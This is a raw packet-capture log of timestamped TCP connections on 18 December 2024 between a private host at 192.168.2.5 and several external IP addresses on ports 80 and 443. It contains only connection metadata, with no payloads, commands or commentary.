Dec 18, 2024 19:08:40.826473951 CET	443	49734	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:40.827811956 CET	49734	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:40.827907085 CET	49734	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:40.827914000 CET	443	49734	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:41.518682003 CET	49728	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:41.519038916 CET	49735	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:41.701867104 CET	80	49735	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:41.702018023 CET	49735	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:41.702209949 CET	49735	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:41.702332973 CET	80	49728	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:41.702399015 CET	49728	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:41.828368902 CET	80	49735	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:41.875240088 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:41.875307083 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:41.875364065 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:41.875385046 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:41.875600100 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:41.875643015 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:41.875650883 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:41.884258032 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:41.884305000 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:41.884320021 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:41.899458885 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:41.899535894 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:41.899549961 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:41.939785957 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:41.939810038 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:41.986649036 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:42.063599110 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:42.067625046 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:42.067707062 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:42.067728043 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:42.079977036 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:42.080022097 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:42.080040932 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:42.080049992 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:42.080090046 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:42.080096006 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:42.080141068 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:42.080178022 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:42.080878019 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:42.080897093 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:42.080913067 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:42.080918074 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:42.285800934 CET	49736	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:42.285893917 CET	443	49736	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:42.285986900 CET	49736	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:42.286314964 CET	49736	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:42.286350965 CET	443	49736	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:42.707529068 CET	443	49734	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:42.707643032 CET	443	49734	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:42.707736015 CET	49734	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:42.707915068 CET	49734	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:42.707940102 CET	443	49734	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:42.973148108 CET	49737	443	192.168.2.5	172.67.209.202
Dec 18, 2024 19:08:42.973184109 CET	443	49737	172.67.209.202	192.168.2.5
Dec 18, 2024 19:08:42.973253965 CET	49737	443	192.168.2.5	172.67.209.202
Dec 18, 2024 19:08:42.974997997 CET	49737	443	192.168.2.5	172.67.209.202
Dec 18, 2024 19:08:42.975013971 CET	443	49737	172.67.209.202	192.168.2.5
Dec 18, 2024 19:08:43.044359922 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:43.044398069 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:43.044459105 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:43.044905901 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:43.044914961 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:43.066833973 CET	80	49735	185.215.113.43	192.168.2.5
Dec 18, 2024 19:08:43.066920996 CET	49735	80	192.168.2.5	185.215.113.43
Dec 18, 2024 19:08:43.068073988 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:43.068443060 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:43.192471981 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:43.192675114 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:43.192795038 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:43.192815065 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:43.193001032 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:43.312781096 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:43.511198044 CET	443	49736	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:43.511342049 CET	49736	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:43.512593985 CET	49736	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:43.512623072 CET	443	49736	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:43.512887001 CET	443	49736	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:43.514111996 CET	49736	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:43.514249086 CET	49736	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:43.514297009 CET	443	49736	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:44.266720057 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:44.266834974 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:44.266947031 CET	443	49737	172.67.209.202	192.168.2.5
Dec 18, 2024 19:08:44.267004013 CET	49737	443	192.168.2.5	172.67.209.202
Dec 18, 2024 19:08:44.268384933 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:44.268393040 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:44.268644094 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:44.269754887 CET	49737	443	192.168.2.5	172.67.209.202
Dec 18, 2024 19:08:44.269773960 CET	443	49737	172.67.209.202	192.168.2.5
Dec 18, 2024 19:08:44.270090103 CET	443	49737	172.67.209.202	192.168.2.5
Dec 18, 2024 19:08:44.270967007 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:44.272003889 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:44.272033930 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:44.272119999 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:44.272155046 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:44.272286892 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:44.272322893 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:44.272408009 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:44.272439003 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:44.272556067 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:44.272589922 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:44.272689104 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:44.272721052 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:44.272732973 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:44.272752047 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:44.272852898 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:44.272878885 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:44.272898912 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:44.273008108 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:44.273046017 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:44.314800024 CET	49737	443	192.168.2.5	172.67.209.202
Dec 18, 2024 19:08:44.319329977 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:44.319467068 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:44.319506884 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:44.319533110 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:44.319545984 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:44.319576979 CET	49738	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:44.319600105 CET	443	49738	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:44.368077040 CET	49737	443	192.168.2.5	172.67.209.202
Dec 18, 2024 19:08:44.368124962 CET	49737	443	192.168.2.5	172.67.209.202
Dec 18, 2024 19:08:44.368417978 CET	443	49737	172.67.209.202	192.168.2.5
Dec 18, 2024 19:08:44.519701004 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.519788980 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.519825935 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.519840002 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.519874096 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.519913912 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.520167112 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.520179033 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.520221949 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.520345926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.520363092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.520399094 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.520427942 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.520762920 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.520775080 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.520786047 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.520818949 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.520844936 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.642743111 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.642844915 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.642941952 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.643100023 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.646960020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.647046089 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.712219000 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.712244987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.712323904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.716298103 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.716315031 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.716355085 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.716382027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.722795963 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.722857952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.722867012 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.722898006 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.732048988 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.732073069 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.732137918 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.739545107 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.739633083 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.739712954 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.739770889 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.754837036 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.754924059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.755196095 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.755251884 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.759016037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.759078026 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.759222031 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.759279966 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.767579079 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.767653942 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.767725945 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.767782927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:44.904299021 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:44.904378891 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.000138998 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.000358105 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.000384092 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.000482082 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.004441023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.004534960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.004767895 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.004826069 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.012953043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.013020039 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.013062954 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.013102055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.021419048 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.021459103 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.021491051 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.021512985 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.029902935 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.030015945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.030076027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.030126095 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.038141966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.038228989 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.038254976 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.038306952 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.046477079 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.046506882 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.046592951 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.055039883 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.055052996 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.055170059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.063365936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.063453913 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.063491106 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.063539028 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.072146893 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.072259903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.072350979 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.072446108 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.080295086 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.080677986 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.083381891 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.083487988 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.088881016 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.088893890 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.088977098 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.097501993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.097517014 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.097584009 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.106482983 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.106549978 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.240432024 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.240576029 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.240636110 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.240721941 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.244671106 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.244775057 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.244808912 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.244894028 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.259936094 CET	443	49736	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:45.260035038 CET	443	49736	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:45.260123014 CET	49736	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:45.260390043 CET	49736	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:45.260410070 CET	443	49736	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:45.360146046 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.360220909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.362288952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.362355947 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.362951040 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.363009930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.382152081 CET	443	49737	172.67.209.202	192.168.2.5
Dec 18, 2024 19:08:45.382288933 CET	443	49737	172.67.209.202	192.168.2.5
Dec 18, 2024 19:08:45.382356882 CET	49737	443	192.168.2.5	172.67.209.202
Dec 18, 2024 19:08:45.382658958 CET	49737	443	192.168.2.5	172.67.209.202
Dec 18, 2024 19:08:45.382675886 CET	443	49737	172.67.209.202	192.168.2.5
Dec 18, 2024 19:08:45.382692099 CET	49737	443	192.168.2.5	172.67.209.202
Dec 18, 2024 19:08:45.382698059 CET	443	49737	172.67.209.202	192.168.2.5
Dec 18, 2024 19:08:45.391716003 CET	49740	443	192.168.2.5	172.67.209.202
Dec 18, 2024 19:08:45.391798973 CET	443	49740	172.67.209.202	192.168.2.5
Dec 18, 2024 19:08:45.391902924 CET	49740	443	192.168.2.5	172.67.209.202
Dec 18, 2024 19:08:45.392245054 CET	49740	443	192.168.2.5	172.67.209.202
Dec 18, 2024 19:08:45.392276049 CET	443	49740	172.67.209.202	192.168.2.5
Dec 18, 2024 19:08:45.438271046 CET	49741	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:45.438309908 CET	443	49741	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:45.438390970 CET	49741	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:45.438733101 CET	49741	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:45.438759089 CET	443	49741	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:45.480307102 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.480396986 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.481833935 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.481895924 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.481914043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.481957912 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.490431070 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.490505934 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.490542889 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.490590096 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.498765945 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.498830080 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.498863935 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.498965979 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.507098913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.507160902 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.507266998 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.507328987 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.515620947 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.515678883 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.515721083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.515764952 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.524004936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.524075031 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.524122953 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.524168968 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.532413006 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.532484055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.532879114 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.532933950 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.541023016 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.541076899 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.541214943 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.541260004 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.549252033 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.549333096 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.549417973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.549467087 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.557760000 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.557823896 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.558330059 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.558391094 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.566126108 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.566189051 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.566442966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.566502094 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.574511051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.574562073 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.574611902 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.574646950 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.626651049 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.626817942 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.648117065 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.648235083 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.719273090 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.719402075 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.721579075 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.721638918 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.721714973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.721764088 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.838989019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.839190960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.840709925 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.840799093 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.840827942 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.840879917 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.887799025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.887862921 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.889866114 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.889930010 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.890095949 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.890141964 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.898407936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.898463964 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.898663044 CET	80	49739	31.41.244.11	192.168.2.5
